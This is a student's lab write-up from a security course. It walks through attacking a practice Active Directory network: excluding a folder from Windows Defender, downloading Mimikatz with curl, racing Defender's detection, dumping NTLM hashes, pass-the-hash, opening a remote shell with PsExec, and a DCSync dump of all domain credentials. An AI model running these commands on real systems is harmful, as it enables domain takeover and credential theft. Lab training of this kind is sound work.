System security - lab 4

In this week we will expand on what we learned in lab 1, 2 and 3.

Now, because we know we can get onto the admin PC via cmd, we should try to run Psloggedon to see if there is anyone else logged on to the admin pc, such as the domain controller.

To do this, I follow lab 3’s steps to open up the admin cmd, once that’s done I’ll look into installing Sysinternals, excluding the C: disk from windows defender, and installing+running mimikatz.

I was able to download Sysinternals by going to the Downloads folder and using curl -L -o SysinternalsSuite.zip <https://download.sysinternals.com/files/SysinternalSuite.zip> , I did this so that I’d have access to PsExec on the admin machine.

Then, I went to the downloads folder and ran tar -xf SysinternalsSutie.zip, to unzip it. This resulted in all the files being extracted into the Downloads folder.

Then, to find out how to exclude the C: disk in windows defender from CMD, I tried a few things. One of them was to use cd C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24030.9-0 so that I can try to run MpCmdRun.exe with a command to exclude. Couldn’t find much.

I went to the Users\Administrator\Downloads folder and ran powershell -Command “Start-Proces powershell -Argumentlist ‘Add-MpPreference – ExclusionPath “C:\Users\Administrator\Downloads”’ which didn’t seem to return any errors.

Then, I downloaded Mimikatz using Curl -L -o mimikatz\_trunk.zip <https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20170813/mimikatz_trunk.zip>

Mike did say that curl wasn’t too reliable, because its now outbound from the admin machine. So, he showed us another way to download mimikatz.

Net use x: \\192.168.56.30\c$ then go to x:, which will put us in the x drive on our own machine, which allows us to cd into the folders on there, allowing us to copy mimikatz to the folder we made and excluded. (( copy c:\Users\Normaluser\Downloads\Mimikatz\_trunk\x64\\*.\* . ))

We need to open mimikatz before windows defender can catch it in transit, defender cant delete an open file handle. So we need to be quick to open mimikatz.exe once we copy it over. I did this by going to x: , cd’ing to Users\Administrator\Downloads and having mimikatz.exe ready to run.

Success! Opened a mimikatz window. Now I can repeat the commands to get hashes, and try to pass the hash to the domain

This shows that domad (which we know is a domain administrator from the net group commands from previous lab) has ntlm hash cff48581d56085119bddffacfae51aeb.

I can run the sekurlsa::pth command from previous lab, this time with user:domad and domain:ADLAB. This doesn’t seem to work though, so maybe I’m in the wrong location.

I can go back to my client pc and run the sekurlsa::pth command with user domad on domain win10client which does work and opens me a CMD. I can run dir [\\192.168.56.10\c$](file:///\\192.168.56.10\c$) successfully. Now I can run PsExec -r ExecPs [\\192.168.56.10](file:///\\192.168.56.10) cmd from the sysinternals suite folder on my client machine, which opens a CMD on the domad pc.

I don’t need to do this, just pass the hash and then run mimikatz (which runs mimikatz as domain controller). This lets me run:

“ lsadump::dcsync /domain:adlab.local /all /csv “ that dumps all the hashes of everyone.

The skillstest will only have 1 of the priv escalation methods, so we need to be able to do all of them.